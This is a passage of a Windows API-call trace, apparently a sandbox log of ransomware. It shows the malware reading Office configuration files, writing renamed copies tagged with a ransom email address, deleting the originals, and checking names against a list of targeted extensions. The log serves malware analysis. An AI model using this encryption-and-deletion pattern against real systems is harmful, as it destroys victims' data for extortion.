lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x335, lpOverlapped=0x0) returned 1 [0160.597] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x340, lpOverlapped=0x0) returned 1 [0160.598] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.598] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.598] SetEndOfFile (hFile=0x3a0) returned 1 [0160.599] CloseHandle (hObject=0x3a0) returned 1 [0160.599] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.599] SetEndOfFile (hFile=0x1fc) returned 1 [0160.601] CloseHandle (hObject=0x1fc) returned 1 [0160.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 1 [0160.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.602] lstrlenW (lpString=".doc") returned 4 [0160.602] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.602] lstrlenW (lpString=".docx") returned 5 [0160.602] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0160.602] lstrlenW (lpString=".pdf") returned 4 [0160.602] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.602] lstrlenW (lpString=".xls") returned 4 [0160.602] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.602] lstrlenW (lpString=".xlsx") returned 5 [0160.602] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0160.603] lstrlenW (lpString=".ppt") returned 4 [0160.603] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.603] lstrlenW (lpString=".zip") returned 4 [0160.603] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString=".rar") returned 4 [0160.603] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString=".bz2") returned 4 [0160.603] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.603] lstrlenW (lpString=".7z") returned 3 [0160.603] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.603] lstrlenW (lpString=".dbf") returned 4 [0160.603] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.603] lstrlenW (lpString=".1cd") returned 4 [0160.603] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.603] lstrlenW (lpString=".jpg") returned 4 [0160.603] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.603] lstrlenW (lpString=".doc") returned 4 [0160.603] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString=".docx") returned 5 [0160.603] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0160.603] lstrlenW (lpString=".pdf") returned 4 [0160.603] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString=".xls") returned 4 [0160.603] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.603] lstrlenW (lpString=".xlsx") returned 5 [0160.604] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0160.604] lstrlenW (lpString=".ppt") returned 4 [0160.604] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.604] lstrlenW (lpString=".zip") returned 4 [0160.604] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.604] lstrlenW (lpString=".rar") returned 4 [0160.604] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.604] lstrlenW (lpString=".bz2") returned 4 [0160.604] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.604] lstrlenW (lpString=".7z") returned 3 [0160.604] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.604] lstrlenW (lpString=".dbf") returned 4 [0160.604] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.604] lstrlenW (lpString=".1cd") returned 4 [0160.604] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0160.604] lstrlenW (lpString=".jpg") returned 4 [0160.604] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.604] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.604] lstrlenW (lpString="SCHDREQ.CFG") returned 11 [0160.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.605] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1199) returned 1 [0160.605] CloseHandle (hObject=0x1fc) returned 1 [0160.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 0x20 [0160.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.606] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.606] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.607] GetLastError () returned 0x0 [0160.607] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x4af, lpOverlapped=0x0) returned 1 [0160.608] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0160.609] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.609] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.609] SetEndOfFile (hFile=0x3a0) returned 1 [0160.609] CloseHandle (hObject=0x3a0) returned 1 [0160.609] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.609] SetEndOfFile (hFile=0x1fc) returned 1 [0160.611] CloseHandle (hObject=0x1fc) returned 1 [0160.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 1 [0160.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.652] lstrlenW (lpString=".doc") returned 4 [0160.652] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.652] lstrlenW (lpString=".docx") returned 5 [0160.653] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0160.653] lstrlenW (lpString=".pdf") returned 4 [0160.653] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.653] lstrlenW (lpString=".xls") returned 4 [0160.654] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.654] lstrlenW (lpString=".xlsx") returned 5 [0160.654] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0160.655] lstrlenW (lpString=".ppt") returned 4 [0160.655] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.655] lstrlenW (lpString=".zip") returned 4 [0160.655] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.655] lstrlenW (lpString=".rar") returned 4 [0160.655] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.655] lstrlenW (lpString=".bz2") returned 4 [0160.655] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.655] lstrlenW (lpString=".7z") returned 3 [0160.660] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.660] lstrlenW (lpString=".dbf") returned 4 [0160.660] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.660] lstrlenW (lpString=".1cd") returned 4 [0160.661] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.661] lstrlenW (lpString=".jpg") returned 4 [0160.661] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.661] lstrlenW (lpString=".doc") returned 4 [0160.661] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.661] lstrlenW (lpString=".docx") returned 5 [0160.661] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0160.662] lstrlenW (lpString=".pdf") returned 4 [0160.662] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.662] lstrlenW (lpString=".xls") returned 4 [0160.662] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.663] lstrlenW (lpString=".xlsx") returned 5 [0160.664] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0160.664] lstrlenW (lpString=".ppt") returned 4 [0160.664] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.664] lstrlenW (lpString=".zip") returned 4 [0160.664] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.664] lstrlenW (lpString=".rar") returned 4 [0160.666] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.666] lstrlenW (lpString=".bz2") returned 4 [0160.667] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.669] lstrlenW (lpString=".7z") returned 3 [0160.669] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.670] lstrlenW (lpString=".dbf") returned 4 [0160.670] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.671] lstrlenW (lpString=".1cd") returned 4 [0160.671] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0160.672] lstrlenW (lpString=".jpg") returned 4 [0160.672] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.674] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.674] lstrlenW (lpString="SCHDREST.CFG") returned 12 [0160.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.007] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=840) returned 1 [0161.007] CloseHandle (hObject=0x3c4) returned 1 [0161.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 0x20 [0161.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.069] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.069] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.070] GetLastError () returned 0x0 [0161.070] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x348, lpOverlapped=0x0) returned 1 [0161.071] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x350, lpOverlapped=0x0) returned 1 [0161.072] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.072] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.072] SetEndOfFile (hFile=0x384) returned 1 [0161.073] CloseHandle (hObject=0x384) returned 1 [0161.073] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.073] SetEndOfFile (hFile=0x3c4) returned 1 [0161.075] CloseHandle (hObject=0x3c4) returned 1 [0161.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 1 [0161.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.076] lstrlenW (lpString=".doc") returned 4 [0161.076] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.076] lstrlenW (lpString=".docx") returned 5 [0161.076] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0161.076] lstrlenW (lpString=".pdf") returned 4 [0161.076] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.076] lstrlenW (lpString=".xls") returned 4 [0161.076] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.076] lstrlenW (lpString=".xlsx") returned 5 [0161.076] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0161.076] lstrlenW (lpString=".ppt") returned 4 [0161.076] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.076] lstrlenW (lpString=".zip") returned 4 [0161.077] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString=".rar") returned 4 [0161.077] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString=".bz2") returned 4 [0161.077] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.077] lstrlenW (lpString=".7z") returned 3 [0161.077] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.077] lstrlenW (lpString=".dbf") returned 4 [0161.077] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.077] lstrlenW (lpString=".1cd") returned 4 [0161.077] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.077] lstrlenW (lpString=".jpg") returned 4 [0161.077] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.077] lstrlenW (lpString=".doc") returned 4 [0161.077] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString=".docx") returned 5 [0161.077] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0161.077] lstrlenW (lpString=".pdf") returned 4 [0161.077] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString=".xls") returned 4 [0161.077] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString=".xlsx") returned 5 [0161.077] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0161.077] lstrlenW (lpString=".ppt") returned 4 [0161.077] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.077] lstrlenW (lpString=".zip") returned 4 [0161.077] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.077] lstrlenW (lpString=".rar") returned 4 [0161.077] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.078] lstrlenW (lpString=".bz2") returned 4 [0161.078] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.078] lstrlenW (lpString=".7z") returned 3 [0161.078] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.078] lstrlenW (lpString=".dbf") returned 4 [0161.078] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.078] lstrlenW (lpString=".1cd") returned 4 [0161.078] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0161.078] lstrlenW (lpString=".jpg") returned 4 [0161.078] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.078] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.078] lstrlenW (lpString="SIGN.CFG") returned 8 [0161.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.079] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=664) returned 1 [0161.080] CloseHandle (hObject=0x3c4) returned 1 [0161.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg")) returned 0x20 [0161.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.080] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.080] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.081] GetLastError () returned 0x0 [0161.081] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x298, lpOverlapped=0x0) returned 1 [0161.082] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0161.083] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, 